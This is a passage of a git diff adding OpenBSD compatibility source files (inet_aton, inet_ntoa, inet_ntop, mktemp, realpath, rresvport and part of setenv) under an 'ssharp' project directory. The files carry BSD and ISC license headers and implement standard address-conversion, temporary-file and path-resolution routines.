!defined(HAVE_INET_ATON) + +#if defined(LIBC_SCCS) && !defined(lint) +#if 0 +static char sccsid[] = "@(#)inet_addr.c 8.1 (Berkeley) 6/17/93"; +static char rcsid[] = "$From: inet_addr.c,v 8.5 1996/08/05 08:31:35 vixie Exp $"; +#else +static char rcsid[] = "$OpenBSD: inet_addr.c,v 1.6 1999/05/03 22:31:14 yanick Exp $"; +#endif +#endif /* LIBC_SCCS and not lint */ + +#include +#include +#include +#include +#include + +#if 0 +/* + * Ascii internet address interpretation routine. + * The value returned is in network order. + */ +in_addr_t +inet_addr(cp) + register const char *cp; +{ + struct in_addr val; + + if (inet_aton(cp, &val)) + return (val.s_addr); + return (INADDR_NONE); +} +#endif + +/* + * Check whether "cp" is a valid ascii representation + * of an Internet address and convert to a binary address. + * Returns 1 if the address is valid, 0 if not. + * This replaces inet_addr, the return value from which + * cannot distinguish between failure and a local broadcast address. + */ +int +inet_aton(const char *cp, struct in_addr *addr) +{ + register u_int32_t val; + register int base, n; + register char c; + unsigned int parts[4]; + register unsigned int *pp = parts; + + c = *cp; + for (;;) { + /* + * Collect number up to ``.''. + * Values are specified as for C: + * 0x=hex, 0=octal, isdigit=decimal. + */ + if (!isdigit(c)) + return (0); + val = 0; base = 10; + if (c == '0') { + c = *++cp; + if (c == 'x' || c == 'X') + base = 16, c = *++cp; + else + base = 8; + } + for (;;) { + if (isascii(c) && isdigit(c)) { + val = (val * base) + (c - '0'); + c = *++cp; + } else if (base == 16 && isascii(c) && isxdigit(c)) { + val = (val << 4) | + (c + 10 - (islower(c) ? 'a' : 'A')); + c = *++cp; + } else + break; + } + if (c == '.') { + /* + * Internet format: + * a.b.c.d + * a.b.c (with c treated as 16 bits) + * a.b (with b treated as 24 bits) + */ + if (pp >= parts + 3) + return (0); + *pp++ = val; + c = *++cp; + } else + break; + } + /* + * Check for trailing characters. + */ + if (c != '\0' && (!isascii(c) || !isspace(c))) + return (0); + /* + * Concoct the address according to + * the number of parts specified. + */ + n = pp - parts + 1; + switch (n) { + + case 0: + return (0); /* initial nondigit */ + + case 1: /* a -- 32 bits */ + break; + + case 2: /* a.b -- 8.24 bits */ + if ((val > 0xffffff) || (parts[0] > 0xff)) + return (0); + val |= parts[0] << 24; + break; + + case 3: /* a.b.c -- 8.8.16 bits */ + if ((val > 0xffff) || (parts[0] > 0xff) || (parts[1] > 0xff)) + return (0); + val |= (parts[0] << 24) | (parts[1] << 16); + break; + + case 4: /* a.b.c.d -- 8.8.8.8 bits */ + if ((val > 0xff) || (parts[0] > 0xff) || (parts[1] > 0xff) || (parts[2] > 0xff)) + return (0); + val |= (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8); + break; + } + if (addr) + addr->s_addr = htonl(val); + return (1); +} + +#endif /* !defined(HAVE_INET_ATON) */ diff --git a/other/ssharp/openbsd-compat/inet_aton.h b/other/ssharp/openbsd-compat/inet_aton.h new file mode 100644 index 0000000..bbdefd7 --- /dev/null +++ b/other/ssharp/openbsd-compat/inet_aton.h @@ -0,0 +1,12 @@ +/* $Id: inet_aton.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_INET_ATON_H +#define _BSD_INET_ATON_H + +#include "config.h" + +#ifndef HAVE_INET_ATON +int inet_aton(const char *cp, struct in_addr *addr); +#endif /* HAVE_INET_ATON */ + +#endif /* _BSD_INET_ATON_H */ diff --git a/other/ssharp/openbsd-compat/inet_ntoa.c b/other/ssharp/openbsd-compat/inet_ntoa.c new file mode 100644 index 0000000..8a8b3c8 --- /dev/null +++ b/other/ssharp/openbsd-compat/inet_ntoa.c @@ -0,0 +1,64 @@ +/* + * Copyright (c) 1983, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" + +#if defined(BROKEN_INET_NTOA) || !defined(HAVE_INET_NTOA) + +#if defined(LIBC_SCCS) && !defined(lint) +static char rcsid[] = "$OpenBSD: inet_ntoa.c,v 1.2 1996/08/19 08:29:16 tholo Exp $"; +#endif /* LIBC_SCCS and not lint */ + +/* + * Convert network-format internet address + * to base 256 d.d.d.d representation. + */ +#include +#include +#include +#include +#include "inet_ntoa.h" + +char *inet_ntoa(struct in_addr in) +{ + static char b[18]; + register char *p; + + p = (char *)∈ +#define UC(b) (((int)b)&0xff) + (void)snprintf(b, sizeof(b), + "%d.%d.%d.%d", UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3])); + return (b); +} + +#endif /* defined(BROKEN_INET_NTOA) || !defined(HAVE_INET_NTOA) */ diff --git a/other/ssharp/openbsd-compat/inet_ntoa.h b/other/ssharp/openbsd-compat/inet_ntoa.h new file mode 100644 index 0000000..c719774 --- /dev/null +++ b/other/ssharp/openbsd-compat/inet_ntoa.h @@ -0,0 +1,12 @@ +/* $Id: inet_ntoa.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_INET_NTOA_H +#define _BSD_INET_NTOA_H + +#include "config.h" + +#if defined(BROKEN_INET_NTOA) || !defined(HAVE_INET_NTOA) +char *inet_ntoa(struct in_addr in); +#endif /* defined(BROKEN_INET_NTOA) || !defined(HAVE_INET_NTOA) */ + +#endif /* _BSD_INET_NTOA_H */ diff --git a/other/ssharp/openbsd-compat/inet_ntop.c b/other/ssharp/openbsd-compat/inet_ntop.c new file mode 100644 index 0000000..bf3d97a --- /dev/null +++ b/other/ssharp/openbsd-compat/inet_ntop.c @@ -0,0 +1,211 @@ +/* $OpenBSD: inet_ntop.c,v 1.1 1997/03/13 19:07:32 downsj Exp $ */ + +/* Copyright (c) 1996 by Internet Software Consortium. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS + * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE + * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL + * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR + * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS + * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + * SOFTWARE. + */ + +#include "config.h" + +#ifndef HAVE_INET_NTOP + +#if defined(LIBC_SCCS) && !defined(lint) +#if 0 +static char rcsid[] = "$From: inet_ntop.c,v 8.7 1996/08/05 08:41:18 vixie Exp $"; +#else +static char rcsid[] = "$OpenBSD: inet_ntop.c,v 1.1 1997/03/13 19:07:32 downsj Exp $"; +#endif +#endif /* LIBC_SCCS and not lint */ + +#include +#include +#include +#include "openbsd-compat/fake-socket.h" +#include +#include +#ifndef HAVE_CYGWIN +#include +#endif +#include +#include +#include + +#ifndef IN6ADDRSZ +#define IN6ADDRSZ 16 /* IPv6 T_AAAA */ +#endif + +#ifndef INT16SZ +#define INT16SZ 2 /* for systems without 16-bit ints */ +#endif + +/* + * WARNING: Don't even consider trying to compile this on a system where + * sizeof(int) < 4. sizeof(int) > 4 is fine; all the world's not a VAX. + */ + +static const char *inet_ntop4 __P((const u_char *src, char *dst, size_t size)); +static const char *inet_ntop6 __P((const u_char *src, char *dst, size_t size)); + +/* char * + * inet_ntop(af, src, dst, size) + * convert a network format address to presentation format. + * return: + * pointer to presentation format address (`dst'), or NULL (see errno). + * author: + * Paul Vixie, 1996. + */ +const char * +inet_ntop(af, src, dst, size) + int af; + const void *src; + char *dst; + size_t size; +{ + switch (af) { + case AF_INET: + return (inet_ntop4(src, dst, size)); + case AF_INET6: + return (inet_ntop6(src, dst, size)); + default: + errno = EAFNOSUPPORT; + return (NULL); + } + /* NOTREACHED */ +} + +/* const char * + * inet_ntop4(src, dst, size) + * format an IPv4 address, more or less like inet_ntoa() + * return: + * `dst' (as a const) + * notes: + * (1) uses no statics + * (2) takes a u_char* not an in_addr as input + * author: + * Paul Vixie, 1996. + */ +static const char * +inet_ntop4(src, dst, size) + const u_char *src; + char *dst; + size_t size; +{ + static const char fmt[] = "%u.%u.%u.%u"; + char tmp[sizeof "255.255.255.255"]; + + if (sprintf(tmp, fmt, src[0], src[1], src[2], src[3]) > size) { + errno = ENOSPC; + return (NULL); + } + strcpy(dst, tmp); + return (dst); +} + +/* const char * + * inet_ntop6(src, dst, size) + * convert IPv6 binary address into presentation (printable) format + * author: + * Paul Vixie, 1996. + */ +static const char * +inet_ntop6(src, dst, size) + const u_char *src; + char *dst; + size_t size; +{ + /* + * Note that int32_t and int16_t need only be "at least" large enough + * to contain a value of the specified size. On some systems, like + * Crays, there is no such thing as an integer variable with 16 bits. + * Keep this in mind if you think this function should have been coded + * to use pointer overlays. All the world's not a VAX. + */ + char tmp[sizeof "ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255"], *tp; + struct { int base, len; } best, cur; + u_int words[IN6ADDRSZ / INT16SZ]; + int i; + + /* + * Preprocess: + * Copy the input (bytewise) array into a wordwise array. + * Find the longest run of 0x00's in src[] for :: shorthanding. + */ + memset(words, '\0', sizeof words); + for (i = 0; i < IN6ADDRSZ; i++) + words[i / 2] |= (src[i] << ((1 - (i % 2)) << 3)); + best.base = -1; + cur.base = -1; + for (i = 0; i < (IN6ADDRSZ / INT16SZ); i++) { + if (words[i] == 0) { + if (cur.base == -1) + cur.base = i, cur.len = 1; + else + cur.len++; + } else { + if (cur.base != -1) { + if (best.base == -1 || cur.len > best.len) + best = cur; + cur.base = -1; + } + } + } + if (cur.base != -1) { + if (best.base == -1 || cur.len > best.len) + best = cur; + } + if (best.base != -1 && best.len < 2) + best.base = -1; + + /* + * Format the result. + */ + tp = tmp; + for (i = 0; i < (IN6ADDRSZ / INT16SZ); i++) { + /* Are we inside the best run of 0x00's? */ + if (best.base != -1 && i >= best.base && + i < (best.base + best.len)) { + if (i == best.base) + *tp++ = ':'; + continue; + } + /* Are we following an initial run of 0x00s or any real hex? */ + if (i != 0) + *tp++ = ':'; + /* Is this address an encapsulated IPv4? */ + if (i == 6 && best.base == 0 && + (best.len == 6 || (best.len == 5 && words[5] == 0xffff))) { + if (!inet_ntop4(src+12, tp, sizeof tmp - (tp - tmp))) + return (NULL); + tp += strlen(tp); + break; + } + tp += sprintf(tp, "%x", words[i]); + } + /* Was it a trailing run of 0x00's? */ + if (best.base != -1 && (best.base + best.len) == (IN6ADDRSZ / INT16SZ)) + *tp++ = ':'; + *tp++ = '\0'; + + /* + * Check for overflow, copy, and we're done. + */ + if ((size_t)(tp - tmp) > size) { + errno = ENOSPC; + return (NULL); + } + strcpy(dst, tmp); + return (dst); +} + +#endif /* !HAVE_INET_NTOP */ diff --git a/other/ssharp/openbsd-compat/inet_ntop.h b/other/ssharp/openbsd-compat/inet_ntop.h new file mode 100644 index 0000000..62f2ecd --- /dev/null +++ b/other/ssharp/openbsd-compat/inet_ntop.h @@ -0,0 +1,13 @@ +/* $Id: inet_ntop.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_RRESVPORT_H +#define _BSD_RRESVPORT_H + +#include "config.h" + +#ifndef HAVE_INET_NTOP +const char * +inet_ntop(int af, const void *src, char *dst, size_t size); +#endif /* !HAVE_INET_NTOP */ + +#endif /* _BSD_RRESVPORT_H */ diff --git a/other/ssharp/openbsd-compat/mktemp.c b/other/ssharp/openbsd-compat/mktemp.c new file mode 100644 index 0000000..9ed1bc8 --- /dev/null +++ b/other/ssharp/openbsd-compat/mktemp.c @@ -0,0 +1,183 @@ +/* THIS FILE HAS BEEN MODIFIED FROM THE ORIGINAL OPENBSD SOURCE */ +/* Changes: Removed mktemp */ + +/* + * Copyright (c) 1987, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "includes.h" + +#ifndef HAVE_MKDTEMP + +#if defined(LIBC_SCCS) && !defined(lint) +static char rcsid[] = "$OpenBSD: mktemp.c,v 1.13 1998/06/30 23:03:13 deraadt Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#ifdef HAVE_CYGWIN +#define open binary_open +extern int binary_open(); +#endif + +static int _gettemp(char *, int *, int, int); + +int +mkstemps(path, slen) + char *path; + int slen; +{ + int fd; + + return (_gettemp(path, &fd, 0, slen) ? fd : -1); +} + +int +mkstemp(path) + char *path; +{ + int fd; + + return (_gettemp(path, &fd, 0, 0) ? fd : -1); +} + +char * +mkdtemp(path) + char *path; +{ + return(_gettemp(path, (int *)NULL, 1, 0) ? path : (char *)NULL); +} + +static int +_gettemp(path, doopen, domkdir, slen) + char *path; + register int *doopen; + int domkdir; + int slen; +{ + register char *start, *trv, *suffp; + struct stat sbuf; + int pid, rval; + + if (doopen && domkdir) { + errno = EINVAL; + return(0); + } + + for (trv = path; *trv; ++trv) + ; + trv -= slen; + suffp = trv; + --trv; + if (trv < path) { + errno = EINVAL; + return (0); + } + pid = getpid(); + while (*trv == 'X' && pid != 0) { + *trv-- = (pid % 10) + '0'; + pid /= 10; + } + while (*trv == 'X') { + char c; + + pid = (arc4random() & 0xffff) % (26+26); + if (pid < 26) + c = pid + 'A'; + else + c = (pid - 26) + 'a'; + *trv-- = c; + } + start = trv + 1; + + /* + * check the target directory; if you have six X's and it + * doesn't exist this runs for a *very* long time. + */ + if (doopen || domkdir) { + for (;; --trv) { + if (trv <= path) + break; + if (*trv == '/') { + *trv = '\0'; + rval = stat(path, &sbuf); + *trv = '/'; + if (rval != 0) + return(0); + if (!S_ISDIR(sbuf.st_mode)) { + errno = ENOTDIR; + return(0); + } + break; + } + } + } + + for (;;) { + if (doopen) { + if ((*doopen = + open(path, O_CREAT|O_EXCL|O_RDWR, 0600)) >= 0) + return(1); + if (errno != EEXIST) + return(0); + } else if (domkdir) { + if (mkdir(path, 0700) == 0) + return(1); + if (errno != EEXIST) + return(0); + } else if (lstat(path, &sbuf)) + return(errno == ENOENT ? 1 : 0); + + /* tricky little algorithm for backward compatibility */ + for (trv = start;;) { + if (!*trv) + return (0); + if (*trv == 'Z') { + if (trv == suffp) + return (0); + *trv++ = 'a'; + } else { + if (isdigit(*trv)) + *trv = 'a'; + else if (*trv == 'z') /* inc from z to A */ + *trv = 'A'; + else { + if (trv == suffp) + return (0); + ++*trv; + } + break; + } + } + } + /*NOTREACHED*/ +} + +#endif /* !HAVE_MKDTEMP */ diff --git a/other/ssharp/openbsd-compat/mktemp.h b/other/ssharp/openbsd-compat/mktemp.h new file mode 100644 index 0000000..776692d --- /dev/null +++ b/other/ssharp/openbsd-compat/mktemp.h @@ -0,0 +1,13 @@ +/* $Id: mktemp.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_MKTEMP_H +#define _BSD_MKTEMP_H + +#include "config.h" +#ifndef HAVE_MKDTEMP +int mkstemps(char *path, int slen); +int mkstemp(char *path); +char *mkdtemp(char *path); +#endif /* !HAVE_MKDTEMP */ + +#endif /* _BSD_MKTEMP_H */ diff --git a/other/ssharp/openbsd-compat/openbsd-compat.h b/other/ssharp/openbsd-compat/openbsd-compat.h new file mode 100644 index 0000000..0105fa7 --- /dev/null +++ b/other/ssharp/openbsd-compat/openbsd-compat.h @@ -0,0 +1,42 @@ +/* $Id: openbsd-compat.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _OPENBSD_H +#define _OPENBSD_H + +#include "config.h" + +/* OpenBSD function replacements */ +#include "bindresvport.h" +#include "getcwd.h" +#include "realpath.h" +#include "rresvport.h" +#include "strlcpy.h" +#include "strlcat.h" +#include "strmode.h" +#include "mktemp.h" +#include "daemon.h" +#include "base64.h" +#include "sigact.h" +#include "inet_aton.h" +#include "inet_ntoa.h" +#include "inet_ntop.h" +#include "strsep.h" +#include "strtok.h" +#include "vis.h" +#include "setproctitle.h" +#include "getgrouplist.h" +#include "glob.h" +#include "getusershell.h" + +/* Home grown routines */ +#include "bsd-arc4random.h" +#include "bsd-misc.h" +#include "bsd-snprintf.h" +#include "bsd-waitpid.h" + +/* rfc2553 socket API replacements */ +#include "fake-getaddrinfo.h" +#include "fake-getnameinfo.h" +#include "fake-socket.h" + +#endif /* _OPENBSD_H */ diff --git a/other/ssharp/openbsd-compat/realpath.c b/other/ssharp/openbsd-compat/realpath.c new file mode 100644 index 0000000..fbe2a9c --- /dev/null +++ b/other/ssharp/openbsd-compat/realpath.c @@ -0,0 +1,163 @@ +/* + * Copyright (c) 1994 + * The Regents of the University of California. All rights reserved. + * + * This code is derived from software contributed to Berkeley by + * Jan-Simon Pendry. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "includes.h" + +#if !defined(HAVE_REALPATH) || defined(BROKEN_REALPATH) + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: realpath..c,v 1.4 1998/05/18 09:55:19 deraadt Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include + +#include +#include +#include +#include +#include + +/* + * MAXSYMLINKS + */ +#ifndef MAXSYMLINKS +#define MAXSYMLINKS 5 +#endif + +/* + * char *realpath(const char *path, char resolved_path[MAXPATHLEN]); + * + * Find the real name of path, by removing all ".", ".." and symlink + * components. Returns (resolved) on success, or (NULL) on failure, + * in which case the path which caused trouble is left in (resolved). + */ +char * +realpath(const char *path, char *resolved) +{ + struct stat sb; + int fd, n, rootd, serrno = 0; + char *p, *q, wbuf[MAXPATHLEN], start[MAXPATHLEN]; + int symlinks = 0; + + /* Save the starting point. */ + getcwd(start,MAXPATHLEN); + if ((fd = open(".", O_RDONLY)) < 0) { + (void)strcpy(resolved, "."); + return (NULL); + } + close(fd); + + /* + * Find the dirname and basename from the path to be resolved. + * Change directory to the dirname component. + * lstat the basename part. + * if it is a symlink, read in the value and loop. + * if it is a directory, then change to that directory. + * get the current directory name and append the basename. + */ + (void)strncpy(resolved, path, MAXPATHLEN - 1); + resolved[MAXPATHLEN - 1] = '\0'; +loop: + q = strrchr(resolved, '/'); + if (q != NULL) { + p = q + 1; + if (q == resolved) + q = "/"; + else { + do { + --q; + } while (q > resolved && *q == '/'); + q[1] = '\0'; + q = resolved; + } + if (chdir(q) < 0) + goto err1; + } else + p = resolved; + + /* Deal with the last component. */ + if (lstat(p, &sb) == 0) { + if (S_ISLNK(sb.st_mode)) { + if (++symlinks > MAXSYMLINKS) { + serrno = ELOOP; + goto err1; + } + n = readlink(p, resolved, MAXPATHLEN-1); + if (n < 0) + goto err1; + resolved[n] = '\0'; + goto loop; + } + if (S_ISDIR(sb.st_mode)) { + if (chdir(p) < 0) + goto err1; + p = ""; + } + } + + /* + * Save the last component name and get the full pathname of + * the current directory. + */ + (void)strcpy(wbuf, p); + if (getcwd(resolved, MAXPATHLEN) == 0) + goto err1; + + /* + * Join the two strings together, ensuring that the right thing + * happens if the last component is empty, or the dirname is root. + */ + if (resolved[0] == '/' && resolved[1] == '\0') + rootd = 1; + else + rootd = 0; + + if (*wbuf) { + if (strlen(resolved) + strlen(wbuf) + rootd + 1 > MAXPATHLEN) { + serrno = ENAMETOOLONG; + goto err1; + } + if (rootd == 0) + (void)strcat(resolved, "/"); + (void)strcat(resolved, wbuf); + } + + /* Go back to where we came from. */ + if (chdir(start) < 0) { + serrno = errno; + goto err2; + } + return (resolved); + +err1: chdir(start); +err2: errno = serrno; + return (NULL); +} +#endif /* !defined(HAVE_REALPATH) || defined(BROKEN_REALPATH) */ diff --git a/other/ssharp/openbsd-compat/realpath.h b/other/ssharp/openbsd-compat/realpath.h new file mode 100644 index 0000000..3617160 --- /dev/null +++ b/other/ssharp/openbsd-compat/realpath.h @@ -0,0 +1,13 @@ +/* $Id: realpath.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_REALPATH_H +#define _BSD_REALPATH_H + +#include "config.h" + +#if !defined(HAVE_REALPATH) || defined(BROKEN_REALPATH) + +char *realpath(const char *path, char *resolved); + +#endif /* !defined(HAVE_REALPATH) || defined(BROKEN_REALPATH) */ +#endif /* _BSD_REALPATH_H */ diff --git a/other/ssharp/openbsd-compat/rresvport.c b/other/ssharp/openbsd-compat/rresvport.c new file mode 100644 index 0000000..636bf36 --- /dev/null +++ b/other/ssharp/openbsd-compat/rresvport.c @@ -0,0 +1,87 @@ +/* + * Copyright (c) 1995, 1996, 1998 Theo de Raadt. All rights reserved. + * Copyright (c) 1983, 1993, 1994 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * This product includes software developed by Theo de Raadt. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" + + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: rresvport.c,v 1.5 2000/01/26 03:43:20 deraadt Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include "includes.h" + + +int +my_rresvport_af(int *alport, sa_family_t af) +{ + struct sockaddr_storage ss; + struct sockaddr *sa; + u_int16_t *portp; + int s, one = 1, len = sizeof(int), i = 0; + socklen_t salen; + + + memset(&ss, '\0', sizeof ss); + sa = (struct sockaddr *)&ss; + + switch (af) { + case AF_INET: + salen = sizeof(struct sockaddr_in); + portp = &((struct sockaddr_in *)sa)->sin_port; + break; + case AF_INET6: + salen = sizeof(struct sockaddr_in6); + portp = &((struct sockaddr_in6 *)sa)->sin6_port; + break; + default: + errno = EPFNOSUPPORT; + return (-1); + } + sa->sa_family = af; + + s = socket(af, SOCK_STREAM, 0); + if (s < 0) + return (-1); + + //setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, len); + for (*portp = htons(*alport);; *portp = htons(*alport+i)) { + ++i; + if (bind(s, sa, salen) == 0) + break; + } + + return (s); +} + diff --git a/other/ssharp/openbsd-compat/rresvport.h b/other/ssharp/openbsd-compat/rresvport.h new file mode 100644 index 0000000..40a19f1 --- /dev/null +++ b/other/ssharp/openbsd-compat/rresvport.h @@ -0,0 +1,12 @@ +/* $Id: rresvport.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_RRESVPORT_H +#define _BSD_RRESVPORT_H + +#include "config.h" + +#ifndef HAVE_RRESVPORT_AF +int rresvport_af(int *alport, sa_family_t af); +#endif /* !HAVE_RRESVPORT_AF */ + +#endif /* _BSD_RRESVPORT_H */ diff --git a/other/ssharp/openbsd-compat/setenv.c b/other/ssharp/openbsd-compat/setenv.c new file mode 100644 index 0000000..ac9670b --- /dev/null +++ b/other/ssharp/openbsd-compat/setenv.c @@ -0,0 +1,161 @@ +/* + * Copyright (c) 1987 Regents of the University of California. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, 